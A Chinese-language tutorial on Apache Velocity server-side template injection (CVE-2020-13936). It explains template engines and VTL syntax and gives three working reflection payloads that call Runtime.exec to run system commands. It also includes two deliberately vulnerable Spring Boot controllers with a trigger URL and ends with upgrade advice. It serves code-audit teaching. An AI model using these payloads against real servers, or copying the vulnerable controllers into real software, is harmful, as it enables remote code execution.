夜雨聆风学习资料网

ARTICLE · 1384219

8【JavaWeb 审计】之模板注入漏洞(Velocity)

8【JavaWeb 审计】之模板注入漏洞(Velocity)
> 阅读指引:如果你是第一次接触"模板引擎"和"模板注入",建议从头按顺序读。本文先用生活化的例子把基础概念讲清楚,再逐步过渡到 Velocity 这个具体框架的语法与攻击载荷,最后才是漏洞本身。文中的代码块和链接都保留完整,遇到看不懂的英文缩写不必慌,第一次出现时都会给出解释。

一、Java 模板引擎与漏洞

这一章先回答两个最基础的问题:模板引擎是做什么用的?它为什么会和安全漏洞扯上关系?把这两点弄明白,后面的内容就容易理解了。

1、模板引擎介绍

目前Java 常见的模板引擎有 FreeMarker、Velocity 和 Thymeleaf。

模板引擎,其实就是一个"根据模板和数据生成最终文本"的工具,目的是让页面显示和数据内容分开。可以用一个生活化的例子来理解:模板就像一张填空试卷,数据就是要填进去的答案,模板引擎则负责把答案自动填到对应的空格里,最后生成一张完整的网页。我们都了解JSP,它其实也是一种模板引擎,通过后端向前端插入数据来实现动态网页的效果。

在JSP 之前,人们使用 servlet 来实现动态网页效果。servlet 是 Java Web 最底层的组件,但直接用它生成网页非常繁琐——想把一个页面返回给浏览器,得用 out.write() 一行一行地把 HTML 代码拼接出来,比如:

out.write("<html>\n")

out.write("<head>"\n)

out.write("<h1>hello servlet</h1>\n")

out.write("</head>\n")

out.write("</html>\n")

可以看到,连一个最简单的页面都要写这么多行输出语句,既累赘又容易出错。虽然JSP 也是模板引擎的一种,但因为它本质上是 servlet,可以直接访问底层的 servlet API,还能在页面里编写后端代码逻辑,导致前端和后端纠缠在一起,违背了面向对象"低耦合、高内聚"的设计思想,维护起来也越来越繁琐。因此经过演变,加上优秀的模板引擎不断出现,JSP 逐渐被替代,这其中就包括 FreeMarker、Velocity 和 Thymeleaf 等。

(延伸阅读:JSP 为什么被淘汰了?https://www.zhihu.com/question/328713931)

言归正传,用大白话再解释一遍模板引擎:比如前端做好一个展示人员信息的模板页面,在姓名、性别、年龄这些位置,用模板引擎规定的"变量符 / 指令 / 插值"做占位标记,后端查询回来的数据就能动态地填进这些占位处。模板引擎的核心价值就在于——同一个模板,填入不同的数据,就能生成不同的页面。

2、模板注入漏洞

SSTI(Server-Side Template Injection,服务器端模板注入),通俗地说,就是模板引擎在解析模板时,如果代码写得不够严谨,可能把攻击者提交的恶意内容当成了模板的一部分来执行。攻击者可以借此在服务器上执行任意代码,造成严重的安全威胁。

简单讲:模板引擎渲染模板时,如果模板里混进了恶意代码,这些代码就会在渲染过程中被执行。不同的模板引擎触发漏洞的场景各不相同,下面我们会针对FreeMarker、Velocity 和 Thymeleaf 这三款逐一讲解。

这里要先建立一个关键认知:模板注入漏洞是依附于模板引擎存在的。项目里如果没有引入相关的模板引擎组件,基本就不会有这类漏洞。

本期我们聚焦Velocity 模板引擎。

二、Velocity 模板引擎

这一章先认识Velocity 是什么、怎么用,再系统学习它的模板语言(VTL)语法——尤其是最后的攻击载荷示例,正是理解后面漏洞的基础。不用急着记语法,先理解每一类语句解决什么问题即可。

1、什么是 Velocity

官方网址:https://velocity.apache.org/

Velocity 是一个基于 Java 的模板引擎。它允许任何人使用简单但功能强大的模板语言,来引用 Java 代码中定义的对象。

当Velocity 用于 Web 开发时,网页设计师可以与 Java 程序员并行工作,按照 MVC(模型-视图-控制器)模型开发网站。这意味着设计师可以专注于做出外观良好的页面,程序员则专注于编写代码。Velocity 把 Java 代码与网页分离,让网站在整个生命周期内更容易维护,也提供了 JSP 或 PHP 之外的另一种选择。

Velocity 的能力远不止 Web 领域:例如它可以从模板生成 SQL、PostScript 和 XML;可以作为一个独立的工具来生成源代码和报告,也可以作为其他系统的集成组件。比如它为各种 Web 框架提供模板服务,让这些框架具备视图引擎,从而按真正的 MVC 模型开发 Web 应用。

补充一点背景:Velocity 是 Apache 软件基金会(Apache Software Foundation)的项目,负责维护与 Apache Velocity Engine 相关的开源软件,所有软件都在 Apache 许可证下免费提供。

2、Velocity 基础

以下内容学习整理自官方用户手册:https://velocity.apache.org/engine/devel/user-guide.html

2.1、Velocity 模板页面

一个基础的、基于VTL 的模板文件页面如下所示。先大致看一下它的结构,注意那些以 $和#开头的特殊标记——它们就是后面要讲的"引用"和"指令":

<html>

<body>

Hello $customer.Name!

<table>

#foreach( $mud in $mudsOnSpecial )

#if ( $customer.hasPurchased($mud) )

<tr>

<td>

$flogger.getPromo( $mud )

</td>

</tr>

#end

#end

</table>

</body>

</html>

2.2、Velocity 模板语言(VTL,Velocity Template Language)

VTL 通过"引用"的方式把动态内容嵌入网页,变量就是其中一种引用类型——它可以引用 Java 代码中定义的内容,也可以从页面的 VTL 语句里取值。下面是一个能嵌入 HTML 文档的 VTL 语句示例:

#set( $a = "Velocity" )

和所有VTL 语句一样,它以 #字符开头并包含一个指令(这里是set)。上面的例子中,变量名是 $a,值是Velocity。这个变量和所有引用一样,都以 $字符开头;字符串值始终用引号括起来,可以是单引号或双引号。

2.3、变量

在Velocity 模板语言中,变量用 $符号来引用,例如$variable_name。变量可以引用Java 对象、Map 中的键值对以及其他数据类型。比如上面示例模板中的 $mud,就能获取通过上下文和后端传递进来的值。变量的写法示例:

$foo

$mudSlinger

$mud_slinger

$mudSlinger1

2.4、方法

方法在Java 代码中定义,能够执行一些有用的操作。方法引用由"$ 符号 + VTL 标识符 + 方法体"组成:方法体包含一个标识符、一个左括号 (、可选的参数列表和一个右括号)。以下是VTL 中有效的方法引用示例:

$customer.getAddress()

$purchase.getTotal()

$page.setTitle( "My Home Page" )

$person.setAttributes( ["Strange", "Weird", "Excited"] )

2.5、set 指令

#set指令用于设置引用的值——把一个值赋给变量引用或属性引用,赋值动作发生在括号中,就像下面这样:

#set( $primate = "monkey" )

#set( $customer.Behavior = $primate )

赋值语句的左侧必须是变量引用或属性引用;右侧可以是以下类型之一:变量引用、字符串字面量、属性引用、方法引用、数字字面量、ArrayList、Map。比如以下示例:

#set( $monkey = $bill ) ## variable reference

#set( $monkey.Friend = "monica" ) ## string literal

#set( $monkey.Blame = $whitehouse.Leak ) ## property reference

#set( $monkey.Plan = $spindoctor.weave($web) ) ## method reference

#set( $monkey.Number = 123 ) ## number literal

#set( $monkey.Say = ["Not", $my, "fault"] ) ## ArrayList

#set( $monkey.Map = {"banana" : "good", "roast beef" : "bad"}) ## Map

2.6、set 指令攻击语句示例

理解了#set的赋值能力后,下面看几个常见的攻击语句示例。它们的核心思路都是:利用Velocity 能调用 Java 对象方法的特性,通过反射拿到 Runtime类,进而执行系统命令。

##### 2.6.1、示例一

载荷如下:

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

逐段看懂它:首先定义了一个名为$e的变量并赋值为字符串"e"。接着用 Java 的反射机制,获取运行时类 java.lang.Runtime,调用它的getRuntime()方法,再用exec()方法执行操作系统命令"calc"——也就是打开 Windows 计算器程序。

##### 2.6.2、示例二

载荷如下:

#set($x='')##

#set($rt = $x.class.forName('java.lang.Runtime'))##

#set($chr = $x.class.forName('java.lang.Character'))##

#set($str = $x.class.forName('java.lang.String'))##

#set($ex=$rt.getRuntime().exec('id'))##

$ex.waitFor()

#set($out=$ex.getInputStream())##

#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

逐段看懂它:

l第一行定义了一个空字符串变量$x。

l接下来三行通过反射获取三个Java 类:java.lang.Runtime、java.lang.Character和java.lang.String,用于在运行时执行命令和操作字符串。

l再下一行用反射执行系统命令id,结果存进$ex,然后调用$ex.waitFor()等待命令执行完毕。

l接着获取$ex的输出流并存进$out。

l最后用一个foreach 循环遍历 $out的所有可用字节并转成字符输出——效果就是把 id命令的结果作为字符串打印出来。

##### 2.6.3、示例三

载荷如下:

#set ($e="exp")

#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))

#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))

#set($sc = $e.getClass().forName("java.util.Scanner"))

#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))

#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))

#if($scan.hasNext()) $scan.next()

#end

逐段看懂它:

l首先创建变量$e并设置为字符串"exp"。

l接着调用Java 反射 API 获取 Runtime 类的方法,用 exec方法执行$cmd变量中存储的命令,命令输出保存在变量$input中。

l然后用反射获取Scanner 类及其构造函数,并用 $input创建Scanner 对象,通过 useDelimiter设置输入流的分隔符。

l最后检查Scanner 对象是否有下一个输入行,有就输出该行,否则什么也不做。

三、Velocity 模板注入漏洞

本节介绍Velocity 模板注入对应的 CVE 漏洞、源码示例与修复方案。

1、漏洞释义

Velocity 模板注入漏洞即有 CVE-2020-13936 这个漏洞。

官方介绍:https://velocity.apache.org/news.html#CVE-2020-13936

能够修改Velocity 模板的攻击者可能会以与运行 Servlet 容器的帐户相同的权限执行任意Java代码或运行任意系统命令。这适用于允许不受信任的用户上传/修改运行 Apache Velocity Engine 版本高达 2.2 的 Velocity 模板的应用程序。

简单说,Velocity 小于等于 2.2 版本存在模板注入漏洞。

在2.0 版本,Apache Velocity 改名为了 Apache Velocity Engine,在 MAVEN 仓库下所示:

Maven 仓库中的 Velocity 版本

2、漏洞源码示例

老规矩,创建一个SpringBoot 项目,名为 VelocitySSTI,默认依赖选择如下图所示:

新建VelocitySSTI 项目

选择默认依赖

成功创建项目后,在pom.xml 文件中引入 Velocity 依赖,我们选择引入 1.7 版本,如下图所示:

<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->

<dependency>

<groupId>org.apache.velocity</groupId>

<artifactId>velocity</artifactId>

<version>1.7</version>

</dependency>

pom.xml 引入 Velocity 依赖

2.1、evaluate 触发

在Velocity 模板引擎中, evaluate 方法用于将 Velocity 模板字符串与上下文数据进行组合并生成最终结果。

evaluate 方法的基本语法如下:

public boolean evaluate(Writer writer, Context context, String logTag, String instring) throws ParseErrorException, MethodInvocationException, ResourceNotFoundException, IOException

其中,参数含义如下:

lwriter :输出结果的写入器,用于将生成的结果写入到指定位置。

lcontext :上下文数据,即用于替换模板中占位符的数据。

llogTag :日志标签,用于在日志中区分不同的 evaluate 调用。

linstring :待处理的 Velocity 模板字符串。

evaluate 方法返回一个布尔值,表示是否成功执行了模板渲染。如果返回 false ,则表示发生了错误,可以通过查看日志来获取更多信息。

在src/main/java/com/example/velocityssti ,创建一个名为 VelocityEvaluate 的 Java Class,并键入以下代码,最终如下图所示:

package com.example.velocityssti;

import org.apache.velocity.VelocityContext;

import org.apache.velocity.app.Velocity;

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.GetMapping;

import java.io.StringWriter;

/**

* 编号7089

* @author powerful

*/

@Controller

public class VelocityEvaluate {

//http://localhost:8080/velocityevaluate?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)

@GetMapping("/velocityevaluate")

public void velocity(String template) {

Velocity.init();

VelocityContext context = new VelocityContext();

context.put("author", "powerful");

StringWriter swOut = new StringWriter();

Velocity.evaluate(context, swOut, "test", template);

}

}

这段代码是一个Java Spring Boot Web应用程序中的一个控制器方法,使用了 Velocity 模板引擎库来解析并渲染模板。该方法使用 HTTP GET 请求,映射到 "/velocityevaluate" 路径。

具体来说,该方法接受一个名为"template" 的字符串参数,表示 Velocity 模板的内容。该方法初始化 Velocity 引擎,创建一个 Velocity 上下文对象,将一个名为 "author" 的变量添加到上下文中,并将上下文对象和一个名为 "test" 的模板名称传递给 Velocity.evaluate() 方法,该方法使用模板和上下文对象生成输出,将结果写入一个 StringWriter 对象中。

VelocityEvaluate 代码

启动运行项目,访问浏览器访问http://127.0.0.1:8080/velocityevaluate?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)

即可在Windows 环境下触发弹出计算器操作。

2.2、merge 触发

在Velocity 模板引擎中, merge 方法用于将 Velocity 模板字符串与上下文数据进行组合并生成最终结果。

merge 方法的基本语法如下:

public void merge(Template template, Context context, Writer writer) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException, IOException

其中,参数含义如下:

ltemplate :待处理的 Velocity 模板。

lcontext :上下文数据,即用于替换模板中占位符的数据。

lwriter :输出结果的写入器,用于将生成的结果写入到指定位置。

在src/main/java/com/example/velocityssti ,创建一个名为 VelocityMerge 的 Java Class,并键入以下代码,最终如下图所示:

代码引用自:https://github.com/nth347/Java-SSTI-demo/tree/e2a5b931ac9e0c777a4a1ea3e3856ba872c49161

package com.example.velocityssti;

import org.apache.velocity.VelocityContext;

import org.apache.velocity.app.Velocity;

import org.apache.velocity.runtime.RuntimeServices;

import org.apache.velocity.runtime.RuntimeSingleton;

import org.apache.velocity.runtime.parser.node.SimpleNode;

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.GetMapping;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.RequestParam;

import org.springframework.web.bind.annotation.ResponseBody;

import java.io.IOException;

import java.io.StringReader;

import java.io.StringWriter;

import java.nio.file.Files;

import java.nio.file.Paths;

import java.text.ParseException;

/**

* 编号7089

* @author powerful

*/

@Controller

public class VelocityMerge {

@RequestMapping("/velocitymerge")

@ResponseBody

public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {

String templateString = new String(Files.readAllBytes(Paths.get("C:\\Users\\powerful\\Desktop\\template.vm")));

templateString = templateString.replace("<USERNAME>", username);

StringReader reader = new StringReader(templateString);

VelocityContext ctx = new VelocityContext();

ctx.put("name", "power7089");

ctx.put("phone", "70897089");

ctx.put("email", "power7089@163.com");

StringWriter out = new StringWriter();

org.apache.velocity.Template template = new org.apache.velocity.Template();

RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();

SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));

template.setRuntimeServices(runtimeServices);

template.setData(node);

template.initDocument();

template.merge(ctx, out);

return out.toString();

}

}

从指定路径读取模板文件,如果模板文件中带有攻击载荷语句,即可通过template.merge 渲染触发模板注入漏洞。

VelocityMerge 代码

上图,在第33 行处,指定了模板文件的绝对路径地址,假设此模板文件我们可控,我在该文件下键入攻击载荷语句,如下所示:

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

template.vm 中的攻击载荷

然后,启动项目,浏览器访问:http://127.0.0.1:8080/velocitymerge ,即可在 Windows 环境下触发弹出计算器操作。

最后。

merge() 方法是将模板和数据合并,生成一个文本输出。它需要一个 VelocityContext 对象作为参数,用于存储数据,并将数据与模板合并,生成输出。

evaluate() 方法也是将模板和数据合并,生成一个文本输出,但是它返回的是一个布尔值,表示模板是否成功执行。evaluate() 方法通常用于执行带有条件的模板。

3、Velocity 模板注入漏洞修复

目前官方已在新版本中修复了该漏洞,请受影响的用户升级至安全版本:

https://velocity.apache.org/download.cgi

回首页,搜索你想要的文档

在首页搜索框输入关键词,快速定位资料

文库首页搜索指引 立即搜索

相关学习资料